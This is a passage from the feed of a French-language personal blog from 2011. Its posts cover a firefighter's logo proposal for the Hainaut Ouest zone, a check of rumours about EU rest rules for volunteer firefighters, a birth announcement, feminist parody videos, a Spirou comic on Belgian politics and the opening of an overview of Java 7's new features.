&lt;p&gt;Il faut savoir que la réforme des &lt;a href="http://www.frcspb.be/"&gt;pompiers&lt;/a&gt; avance (doucement pour l&amp;rsquo;instant puisque le gouvernement est en affaires courantes) et que &lt;em&gt;des choses se mettent en place&lt;/em&gt;. Parmi toutes ses &lt;em&gt;choses&lt;/em&gt;, une envie de &lt;strong&gt;logo&lt;/strong&gt; commun à tous les services incendies de la zone Hainaut ouest s&amp;rsquo;est fait sentir… d&amp;rsquo;où cette demande de la part d&amp;rsquo;un lieutenant responsable de l&amp;rsquo;organisation de ladite zone.&lt;/p&gt;
&lt;p&gt;Lorsque je parle d&amp;rsquo;organisation de la zone, je ne sais fichtre &lt;strong&gt;rien&lt;/strong&gt; de ce qui se met en place quant-à l&amp;rsquo;organisation de la zone. Je sais qu&amp;rsquo;il va y avoir des changements mais nous (les sapeurs) n&amp;rsquo;en savons encore rien (ou presque) &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;. Tout viendra à point lorsque l&amp;rsquo;on aura un gouvernement… pour l&amp;rsquo;instant tout n&amp;rsquo;est que bruits de couloirs.&lt;/p&gt;
&lt;p&gt;À l&amp;rsquo;avenir, on parlera donc moins du service d&amp;rsquo;incendie de &lt;a href="http://ath.be/"&gt;Ath&lt;/a&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; mais plutôt de la &lt;strong&gt;Zone opérationnelle du Hainaut Ouest&lt;/strong&gt; ! Cette zone comprend les corps de; Antoing ­ Ath ­ Beloeil ­Bernissart ­ Comines ­ Lessines ­ Leuze ­ Mouscron ­ Peruwelz ­ et Tournai.&lt;/p&gt;
&lt;p&gt;On pourrait s&amp;rsquo;étonner (et j&amp;rsquo;en suis le premier) que la demande de logo [&lt;a href="/pdf/annonce-20110531-demandeLogoZonal.pdf"&gt;pdf&lt;/a&gt;] n&amp;rsquo;ait été faite qu&amp;rsquo;auprès des pompiers et pas auprès de &lt;strong&gt;graphistes&lt;/strong&gt;… mais sans doute que la grande famille des pompiers compte en son sein moult graphistes et que l&amp;rsquo;on préfère faire (d&amp;rsquo;abord) appel aux resources internes &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;. J&amp;rsquo;aurais pu parler à mon chef (mais ma devise chez les pompiers c&amp;rsquo;est PIPE &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt; du site &lt;a href="http://www.creads.org/"&gt;Creads&lt;/a&gt; permettant d&amp;rsquo;organiser des concours de graphistes pour &amp;ldquo;pas cher&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Bref, sans être graphiste, je me suis fendu d&amp;rsquo;une proposition &lt;strong&gt;fort belle&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;La voici&lt;/p&gt;
&lt;p&gt;&lt;img alt="logo-pompier-zoneHO-800.png" src="/images/logo-pompier-zoneHO-800.png" title="logo-pompier-zoneHO-800.png, août 2011"&gt;&lt;/p&gt;
&lt;p&gt;Proposition à laquelle j&amp;rsquo;ajoute des versions épurées plus destinées aux documents. Versions comprenant une version &amp;lsquo;couleur&amp;rsquo;, une version &amp;lsquo;couleur inversée&amp;rsquo; et une version en noir et blanc (ok, &amp;ldquo;niveaux de gris&amp;rdquo;).&lt;/p&gt;
&lt;p&gt;&lt;img alt="logo-pompier-zoneHO-papier-horiz-800.png" src="/images/logo-pompier-zoneHO-papier-horiz-800.png" title="logo-pompier-zoneHO-papier-horiz-800.png, août 2011"&gt;&lt;/p&gt;
&lt;p&gt;N&amp;rsquo;hésitez pas à faire des commentaires. Je suis (moyennement) content &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt; de moi mais j&amp;rsquo;y ai passé assez de temps et le résultat est tout à fait correct… si c&amp;rsquo;est mon logo qui se retrouve sur les camions de la zone, on ira &lt;strong&gt;en boire une pour l&amp;rsquo;occasion&lt;/strong&gt; :-)&lt;/p&gt;
&lt;p&gt;En attendant, faites-en la pub partout… en disant que c&amp;rsquo;est le mien le plus beau ^^&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Nous savons actuellement que les services d&amp;rsquo;incendies sont rassemblés dans une même grande zone afin de pouvoir partager les ressources de la zone et d&amp;rsquo;avoir des formations communes.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Mettez ici la ville qui vous plait&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Mais non, il ne s&amp;rsquo;agit pas d&amp;rsquo;argent. Pfft. Mauvaise langue ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Ce qui signifie: &lt;strong&gt;P&lt;/strong&gt;as d&amp;rsquo;&lt;strong&gt;I&lt;/strong&gt;nitiative, &lt;strong&gt;P&lt;/strong&gt;as d&amp;rsquo;&lt;strong&gt;E&lt;/strong&gt;mmerde ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;Je ne dis donc pas maintenant ce que j&amp;rsquo;en pense, ni les &lt;strong&gt;plus&lt;/strong&gt;, ni les &lt;strong&gt;moins&lt;/strong&gt;… plus tard peut-être&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Sapeur-pompier, 11h de repos obligatoire</title><link href="http://blog.namok.be/2011-08-12-Sapeur-pompier-11h-de-repos-obligatoire.html" rel="alternate"/><published>2011-08-12T00:00:00+02:00</published><updated>2011-08-12T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-08-12:/2011-08-12-Sapeur-pompier-11h-de-repos-obligatoire.html</id><summary type="html">Sapeur-pompier, 11h de repos obligatoire</summary><content type="html">&lt;p&gt;Je lis sur &lt;a href="https://facebook.com/"&gt;FB&lt;/a&gt;, sur &lt;a href="https://www.facebook.com/pages/Contre-les-11-heures-de-repos-obligatoires-pour-les-pompiers-volontaires/241416822565107"&gt;la page dédiée&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Le parlement Européen est en train de mettre en place un projet de lois qui obligerait les pompiers volontaires à observer 11h de coupure entre la fin de leur activité et une intervention. Si on part de ce principe, il faudrait énormément recruter de pompiers volontaires pour réussir à assure toutes les interventions. Donc tout le monde est concerné par ce texte, les pompiers de part leur STATUT et la population, car sa sécurité diminue chaque jour !&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Les &lt;strong&gt;deux premières réactions&lt;/strong&gt; que je peux avoir, c&amp;rsquo;est de cliquer &lt;em&gt;Like&lt;/em&gt; et/ou de copier/coller le texte en statut… mais je trouve que c&amp;rsquo;est un peu court et je déplore (comme à chaque fois) de ne voir &lt;strong&gt;aucune source&lt;/strong&gt; dans ce genre de statut.&lt;/p&gt;
&lt;p&gt;Boum ! Je regarde sur Google en espérant trouver de l&amp;rsquo;info et je vois (peut-être que je cherche mal et dans ce cas, n&amp;rsquo;hésitez pas à me donner de l&amp;rsquo;info) que les médias français (&lt;a href="http://www.lefigaro.fr/actualite-france/2010/09/24/01016-20100924ARTFIG00630-les-pompiers-volontaires-menaces-par-l-europe.php"&gt;Le Figaro&lt;/a&gt;, &lt;a href="http://www.lefigaro.fr/flash-actu/2011/08/04/97001-20110804FILWWW00242-pompiers-directive-de-l-ue-dangereuse.php"&gt;Le Figaro encore&lt;/a&gt;, &lt;a href="http://www.liberation.fr/societe/01012352509-le-statut-de-pompier-volontaire-est-il-menace"&gt;Libé&lt;/a&gt;, &lt;a href="http://www.ladepeche.fr/article/2011/08/04/1140688-bruxelles-inquiete-les-pompiers.html"&gt;La dépêche&lt;/a&gt;,… ) relayent cette info début août… mais rien du côté belge.&lt;/p&gt;
&lt;p&gt;Dans les trois journaux, je retrouve les même phrases… à croire qu&amp;rsquo;il serait plus simple que l&amp;rsquo;on lise directement les dépêches chez &lt;a href="http://www.belga.be/"&gt;Belga&lt;/a&gt; (ou son équivalent français).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Une directive européenne pourrait obliger les sapeurs-pompiers volontaires à respecter un temps de repos de onze heures entre leur journée de travail classique et leur garde chez les pompiers. &lt;em&gt;Libération&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;« Cela voudrait dire qu&amp;rsquo;un sapeur-pompier volontaire, qui est un citoyen qui travaille, devrait attendre onze heures pour venir servir les sapeurs-pompiers. C&amp;rsquo;est la mort du volontariat », s&amp;rsquo;est-il inquiété. &lt;em&gt;La dépêche&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je recherche alors dans les dépêches du &lt;a href="http://europa.eu/"&gt;site de l&amp;rsquo;union européenne&lt;/a&gt;, histoire de voir si je trouve une &lt;strong&gt;nouvelle directive&lt;/strong&gt; concernant le repos obligatoire des sapeur-pompiers volontaires…&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Les États membres prennent les mesures nécessaires pour que tout travailleur bénéficie: d&amp;rsquo;une période minimale de repos journalier de onze heures consécutives par vingt-quatre heures; (&amp;hellip;)&lt;/p&gt;
&lt;p&gt;Bref extrait (le même) des directives &lt;a href="http://europa.eu/legislation_summaries/other/c10405_fr.htm"&gt;93/104/CE&lt;/a&gt; et &lt;a href="http://europa.eu/legislation_summaries/employment_and_social_policy/health_hygiene_safety_at_work/c10418_fr.htm"&gt;2003/88/CE&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je comprends que ceci concerne la &lt;strong&gt;protection des travailleurs&lt;/strong&gt; et leur assure un repos minimal entre deux prestations… pour moi c&amp;rsquo;est bien. Dans cette directive, on ne parle pas des sapeur-pompiers. Un lien plus loin, je lis:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;3. Conformément au paragraphe 2 du présent article, il peut être dérogé aux articles 3, 4, 5, 8 et 16:&lt;/p&gt;
&lt;p&gt;(…)&lt;/p&gt;
&lt;p&gt;c) pour les activités caractérisées par la nécessité d&amp;rsquo;assurer la continuité du service ou de la production, notamment lorsqu&amp;rsquo;il s&amp;rsquo;agit:&lt;/p&gt;
&lt;p&gt;iii) des services de presse, de radio, de télévision, de productions cinématographiques, des postes ou télécommunications, des services d&amp;rsquo;ambulance, de sapeurs-pompiers ou de protection civile;&lt;/p&gt;
&lt;p&gt;Extrait de la directive &lt;a href="http://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=CELEX:32003L0088:FR:HTML"&gt;2003/88/CE&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;L&amp;rsquo;article 3 concerne effectivement cette &lt;strong&gt;période de repos de onze heures&lt;/strong&gt; qui offre une dérogation aux sapeur-pompiers… donc pas de soucis dans ce cas.&lt;/p&gt;
&lt;p&gt;Je cherche encore et je ne trouve pas d&amp;rsquo;infos (celle que je vous montre date du 18 novembre 2003). J&amp;rsquo;ai l&amp;rsquo;impression (une fois de plus) que cette &amp;ldquo;mobilisation&amp;rdquo; n&amp;rsquo;est basée sur rien… ou sur des bruits de couloirs d&amp;rsquo;un gars qui travaille quelque part et qui a entendu un truc de quelqu&amp;rsquo;un près de la machine à café qui dit que… car &lt;em&gt;l&amp;rsquo;on s&amp;rsquo;autorise à penser dans les milieux autorisés…&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;(Et j&amp;rsquo;ai perdu 1/2 heure… sauf pour revoir ce sketch ;-) ).&lt;/p&gt;
&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/gus0b8Z-Ez8?si=eLr8125itZVf4ENL" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen&gt;&lt;/iframe&gt;</content></entry><entry><title>Alix 5.0</title><link href="http://blog.namok.be/2011-08-04-Alix-5.0.html" rel="alternate"/><published>2011-08-04T00:00:00+02:00</published><updated>2011-08-04T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-08-04:/2011-08-04-Alix-5.0.html</id><summary type="html">Alix 5.0</summary><content type="html">&lt;p&gt;C&amp;rsquo;est le &lt;strong&gt;buzz&lt;/strong&gt; du jour (ou de demain), &lt;strong&gt;Alix&lt;/strong&gt; &lt;a href="http://alix.namok.be/"&gt;est née ce matin&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Faire-part Alix" src="/images/fairePartAlix-thumb.png" title="Faire-part Alix, août 2011" width="100%"&gt;&lt;/p&gt;</content></entry><entry><title>La princesse charmante ou simplement du cul</title><link href="http://blog.namok.be/2011-07-17-La-princesse-charmante-ou-simplement-du-cul.html" rel="alternate"/><published>2011-07-17T00:00:00+02:00</published><updated>2011-07-17T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-07-17:/2011-07-17-La-princesse-charmante-ou-simplement-du-cul.html</id><summary type="html">Un peu de pubs et de féminisme.</summary><content type="html">&lt;p&gt;&lt;a href="http://www.osezlefeminisme.fr/"&gt;Osez le féminisme&lt;/a&gt; propose une série de vidéos où: les hommes versus les filles &lt;strong&gt;on intervertit les rôles&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Perso je trouve les vidéos drôles (et pour ceux qui doutent, je suis d&amp;rsquo;accord avec le message véhiculé).&lt;/p&gt;
&lt;p&gt;En voici quelques unes. Sinon elles se trouvent chez &lt;a href="http://www.dailymotion.com/"&gt;Dailymotion&lt;/a&gt; (&lt;a href="http://www.dailymotion.com/osezlefeminisme"&gt;Dailymotion - Osez le feminisme&lt;/a&gt;).&lt;/p&gt;
&lt;h4&gt;La princesse charmante&lt;/h4&gt;
&lt;div style="position:relative;padding-bottom:56.25%;height:0;overflow:hidden;"&gt; &lt;iframe style="width:100%;height:100%;position:absolute;left:0px;top:0px;overflow:hidden" frameborder="0" type="text/html" src="https://www.dailymotion.com/embed/video/xiv8gf_viedemeuf-les-hommes-cherchent-l-amour-les-femmes-veulent_fun" width="100%" height="100%" allowfullscreen title="Dailymotion Video Player" &gt; &lt;/iframe&gt; &lt;/div&gt;

&lt;p&gt;&lt;a href="http://www.dailymotion.com/video/xiv8gf_viedemeuf-les-hommes-cherchent-l-amour-les-femmes-veulent_fun"&gt;VieDeMeuf : Les hommes cherchent l&amp;rsquo;amour, les&amp;hellip;&lt;/a&gt; &lt;em&gt;par &lt;a href="http://www.dailymotion.com/osezlefeminisme"&gt;osezlefeminisme&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;Les relous&lt;/h4&gt;
&lt;p&gt;(ou: &amp;ldquo;&lt;em&gt;T&amp;rsquo;es bonne, y&amp;rsquo;a moyen&lt;/em&gt;&amp;rdquo;)&lt;/p&gt;
&lt;div style="position:relative;padding-bottom:56.25%;height:0;overflow:hidden;"&gt; &lt;iframe style="width:100%;height:100%;position:absolute;left:0px;top:0px;overflow:hidden" frameborder="0" type="text/html" src="https://www.dailymotion.com/embed/video/xiv64d_viedemeuf-les-relous_fun" width="100%" height="100%" allowfullscreen title="Dailymotion Video Player" &gt; &lt;/iframe&gt; &lt;/div&gt;

&lt;p&gt;&lt;a href="http://www.dailymotion.com/video/xiv64d_viedemeuf-les-relous_fun"&gt;VieDeMeuf : Les Relous&lt;/a&gt; &lt;em&gt;par &lt;a href="http://www.dailymotion.com/osezlefeminisme"&gt;osezlefeminisme&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h5&gt;Le congé parental&lt;/h5&gt;
&lt;p&gt;(Avec les taches sur le t-shirt tout comme il faut ;-) )&lt;/p&gt;
&lt;div style="position:relative;padding-bottom:56.25%;height:0;overflow:hidden;"&gt; &lt;iframe style="width:100%;height:100%;position:absolute;left:0px;top:0px;overflow:hidden" frameborder="0" type="text/html" src="https://www.dailymotion.com/embed/video/xiwccu_viedemeuf-le-conge-parental_fun" width="100%" height="100%" allowfullscreen title="Dailymotion Video Player" &gt; &lt;/iframe&gt; &lt;/div&gt;

&lt;p&gt;&lt;a href="http://www.dailymotion.com/video/xiwccu_viedemeuf-le-conge-parental_fun"&gt;VieDeMeuf : Le congé parental&lt;/a&gt; &lt;em&gt;par &lt;a href="http://www.dailymotion.com/osezlefeminisme"&gt;osezlefeminisme&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h5&gt;Une femme un homme à poil dans une pub, c&amp;rsquo;est toujours bien &amp;hellip;&lt;/h5&gt;
&lt;p&gt;(C&amp;rsquo;est une pub pour des poutrelles métaliques, c&amp;rsquo;est normal que l&amp;rsquo;on y mette une femme un homme à poil)&lt;/p&gt;
&lt;div style="position:relative;padding-bottom:56.25%;height:0;overflow:hidden;"&gt; &lt;iframe style="width:100%;height:100%;position:absolute;left:0px;top:0px;overflow:hidden" frameborder="0" type="text/html" src="https://www.dailymotion.com/embed/video/xiujfv_viedemeuf-l-egalite-vous-l-avez_fun" width="100%" height="100%" allowfullscreen title="Dailymotion Video Player" &gt; &lt;/iframe&gt; &lt;/div&gt;

&lt;p&gt;&lt;a href="http://www.dailymotion.com/video/xiujfv_viedemeuf-l-egalite-vous-l-avez_fun"&gt;VieDeMeuf : L&amp;rsquo;égalité Vous l&amp;rsquo;Avez !&lt;/a&gt; &lt;em&gt;par &lt;a href="http://www.dailymotion.com/osezlefeminisme"&gt;osezlefeminisme&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Il semble également y avoir un blog, à la &lt;em&gt;vie de merde&lt;/em&gt;; &lt;a href="http://www.viedemeuf.blogspot.com/"&gt;Vie de meuf&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Je suis donc à la fois pour et contre le sexisme !&lt;/p&gt;
&lt;p&gt;Pour moi une fille n&amp;rsquo;est pas un garçon, nous sommes différents. Je suis donc &lt;strong&gt;pour le sexisme&lt;/strong&gt;, différencier un garçon d&amp;rsquo;une fille.&lt;/p&gt;
&lt;p&gt;Par contre chacun peut prétendre au travail dont il a envie s&amp;rsquo;il en est capable physiquement et intellectuellement. Chacun doit être traité dignement et avec respect. Je suis donc &lt;strong&gt;contre le sexisme&lt;/strong&gt; s&amp;rsquo;il sert à discriminer les personnes pour une tâche, une attitude, &amp;hellip;&lt;/p&gt;
&lt;p&gt;Mais bon, le but n&amp;rsquo;est &lt;strong&gt;que&lt;/strong&gt; de se marrer face aux vidéos, on va pas réfléchir non plus ;-)&lt;/p&gt;</content></entry><entry><title>Un pommier-poirier appelé Bruxelles</title><link href="http://blog.namok.be/2011-07-16-pommier-poirier-bruxelles.html" rel="alternate"/><published>2011-07-16T00:00:00+02:00</published><updated>2011-07-16T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-07-16:/2011-07-16-pommier-poirier-bruxelles.html</id><summary type="html">Un pommier-poirier appelé Bruxelles</summary><content type="html">&lt;p&gt;&lt;img alt="tempter_by_vampiredarlla-d3ahff2.jpg" src="/images/tempter_by_vampiredarlla-d3ahff2.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="spirou3823-couverture-2.png" class="right" src="/images/spirou3823-couverture-2.png" width="150px"&gt;&lt;/p&gt;
&lt;p&gt;Dans le &lt;a href="http://www.spirou.com/journal/3823"&gt;numéro 3823&lt;/a&gt; du &lt;a href="http://spirou.be/"&gt;Spirou magazine&lt;/a&gt;, les auteurs veulent &lt;strong&gt;sauver la Belgique&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Des auteurs confirmés se sont prêtés au jeu; Animal Lecteur (Sergio Salma et Libon), Les fifiches du professeur (&lt;a href="http://e.lecroart.free.fr/"&gt;Lécroart&lt;/a&gt;), &lt;a href="http://www.lesdemonsdalexia.com/"&gt;Les démons d&amp;rsquo;Alexia&lt;/a&gt; (Dugomier et Ers), Chers Voisins (&lt;a href="http://www.gilles-dal.net/"&gt;Gilles Dal&lt;/a&gt;, &lt;a href="http://philippebercovici.blogspot.com/"&gt;Philippe Bercovici&lt;/a&gt; et Catheline) et &lt;a href="http://www.dupuis.com/catalogue/FR/s/2997/le_royaume.html"&gt;Le royaume&lt;/a&gt; (&lt;a href="http://www.bferoumont.be/"&gt;Feroumont&lt;/a&gt; et Coopman).&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;autres dessinateurs s&amp;rsquo;y sont essayés … heu … j&amp;rsquo;aime bcp moins. C&amp;rsquo;est &lt;strong&gt;vraiment&lt;/strong&gt; un métier qui prend du temps et qui demande beaucoup de travail avant de parvenir à faire vivre des personnages.&lt;/p&gt;
&lt;p&gt;Je reçois donc mon Spirou et, comme plein d&amp;rsquo;autres, je commence par lire le &lt;em&gt;quatrième de couverture&lt;/em&gt;, dont voici l&amp;rsquo;histoire &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; sans savoir que le Spirou parle de la Belgique.&lt;/p&gt;
&lt;p&gt;&lt;img alt="spirou3823-pommierpoirier-2.png" src="/images/spirou3823-pommierpoirier-2.png" title="spirou3823-pommierpoirier-2.png, juil. 2011"&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;adore cette jolie métaphore sur les pommes et les poires qui résume assez bien notre &amp;ldquo;problème&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Emma (5 ans) conclut:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Il suffit de donner le pommier-poirier à celui qui récolte les cerises puisqu&amp;rsquo;il en a le moins !&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;… et voici une nouvelle solution à envisager. &lt;/p&gt;
&lt;p&gt;Au sujet des langues, les Wallons ont encore une guère de retard sur les Flamands. Maintenant que l&amp;rsquo;on parle de séparatisme, les Wallons ne parlent plus que d&amp;rsquo;immersion et autres moyens d&amp;rsquo;apprendre le néerlandais. Alors, et je le dis &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; depuis de nombreuses années, qu&amp;rsquo;il suffit que l&amp;rsquo;on apprenne &lt;strong&gt;sa langue maternelle (néerlandais ou français ou allemand) et l&amp;rsquo;anglais&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est sans doute beaucoup moins humain et social … mais qu&amp;rsquo;est-ce que ce serait efficace ! Et partout on envoie (de manière électronique ça coûte peu cher) les document en &amp;ldquo;langue maternelle&amp;rdquo; et en anglais.&lt;/p&gt;
&lt;p&gt;Lorsque je fais le chemin de la gare à l&amp;rsquo;école j&amp;rsquo;entend (presque) plus parler anglais que français ou néerlandais …&lt;/p&gt;
&lt;p&gt;Mais, je m&amp;rsquo;oublie, je ne parle &lt;strong&gt;jamais&lt;/strong&gt; politique ;-)&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;J&amp;rsquo;espère que je peux en reproduire un extrait … (Mais comme je cite l&amp;rsquo;auteur, le magazine, … ça ne devrait pas poser de problème).&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;À mes deux lecteurs, on imagine l&amp;rsquo;impact !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Java 7 is out, quel est son lot de nouveautés ?</title><link href="http://blog.namok.be/2011-07-11-jdk7.html" rel="alternate"/><published>2011-07-11T00:00:00+02:00</published><updated>2011-07-11T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-07-11:/2011-07-11-jdk7.html</id><summary type="html">Java 7 is out, quel est son lot de nouveautés ?</summary><content type="html">&lt;p&gt;C&amp;rsquo;est Korben qui me passe l&amp;rsquo;info, provenant du &lt;a href="https://mreinhold.org/blog/jdk7-rc"&gt;blog de Mark Reinhold&lt;/a&gt;, via son Twitter; Java 7 release candidate est sortie.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;After an initial round of testing we’ve declared build 147 to be the first Release Candidate of JDK 7.&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="https://mreinhold.org/blog/jdk7-rc"&gt;Mark Reinhold&amp;rsquo;blog&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Avant toutes choses, de manière générale en Java, l&amp;rsquo;info ne se trouve plus chez Sun, puisque c&amp;rsquo;est Oracle qui a repris « l&amp;rsquo;affaire »… et (je trouve que) le site d&amp;rsquo;Oracle est beaucoup plus confus, l&amp;rsquo;info plus difficile à trouver. Ce sont donc &lt;a href="http://java.net/"&gt;java.net&lt;/a&gt; et &lt;a href="openjdk.java.net"&gt;openjdk.java.net&lt;/a&gt; (dépendant d&amp;rsquo;Oracle, que l&amp;rsquo;on se rassure) qui fournissent l&amp;rsquo;info Java.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;habitude en Java est de demander l&amp;rsquo;avis des utilisateurs et de voter afin de proposer les prochaines évolutions du langage. Cela se fait par le biais des &lt;em&gt;Java Specifications Request (&lt;a href="http://jcp.org/en/home/index"&gt;JCP&lt;/a&gt;)&lt;/em&gt;. Par exemple les petites évolutions du langage (&lt;a href="http://jcp.org/en/jsr/detail?id=334"&gt;JSR 334&lt;/a&gt;), débattues en 2009, sont implémentés dans &lt;strong&gt;Java 7&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Ces petites évolutions du langage ont été choisies dans le cadre du &lt;a href="https://openjdk.org/projects/coin/"&gt;projet Coin&lt;/a&gt;; chaînes de caractères dans le switch, littéraux entiers binaires, &lt;em&gt;underscore&lt;/em&gt; &lt;code&gt;_&lt;/code&gt; dans les littéraux numériques, multi-catch, amélioration dans la création des types génériques via l&amp;rsquo;opérateur diamond &lt;code&gt;&amp;lt;&amp;gt;&lt;/code&gt;, &lt;em&gt;try with resources&lt;/em&gt;, simplification de l&amp;rsquo;appel de méthode avec les &lt;em&gt;varargs&lt;/em&gt; (nombre d&amp;rsquo;arguments variables).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The goal of Project Coin is to determine what set of small language changes should be added to JDK 7. That list is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Strings in switch&lt;/li&gt;
&lt;li&gt;Binary integral literals and underscores in numeric literals&lt;/li&gt;
&lt;li&gt;Multi-catch and more precise rethrow&lt;/li&gt;
&lt;li&gt;Improved type inference for generic instance creation (diamond)&lt;/li&gt;
&lt;li&gt;try-with-resources statement&lt;/li&gt;
&lt;li&gt;Simplified varargs method invocation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Extrait de openjdk, projet coin&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;À ce projet Coin, viennent s&amp;rsquo;ajouter d&amp;rsquo;autres fonctionnalités; amélioration de la jvm et de son &lt;em&gt;class loader&lt;/em&gt;, &lt;a href="http://www.unicode.org/versions/Unicode6.0.0/"&gt;Unicode 6.0&lt;/a&gt;, &lt;em&gt;nio2&lt;/em&gt; (&lt;a href="http://download.oracle.com/javase/tutorial/essential/io/fileio.html"&gt;Tutorial Sun/Oracle&lt;/a&gt;), prise en charge du protocole &lt;a href="http://en.wikipedia.org/wiki/Stream_Control_Transmission_Protocol"&gt;SCTP&lt;/a&gt;, des algorithmes cryptographiques, Swing JLayer (Tutorial Sun/Oracle), &lt;em&gt;concurrency and collections updates&lt;/em&gt;… (et plein de choses que je ne comprend pas).&lt;/p&gt;
&lt;h2&gt;Binary Literals&lt;/h2&gt;
&lt;p&gt;Il est maintenant possible d&amp;rsquo;écrire des littéraux entiers en base 2 (&lt;em&gt;binary literals&lt;/em&gt;). Avant seules les bases 10, 16 et 8 étaient autorisées.&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="http://download.java.net/jdk7/docs/technotes/guides/language/binary-literals.html"&gt;java.net&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// An 8-bit &amp;#39;byte&amp;#39; value:&lt;/span&gt;
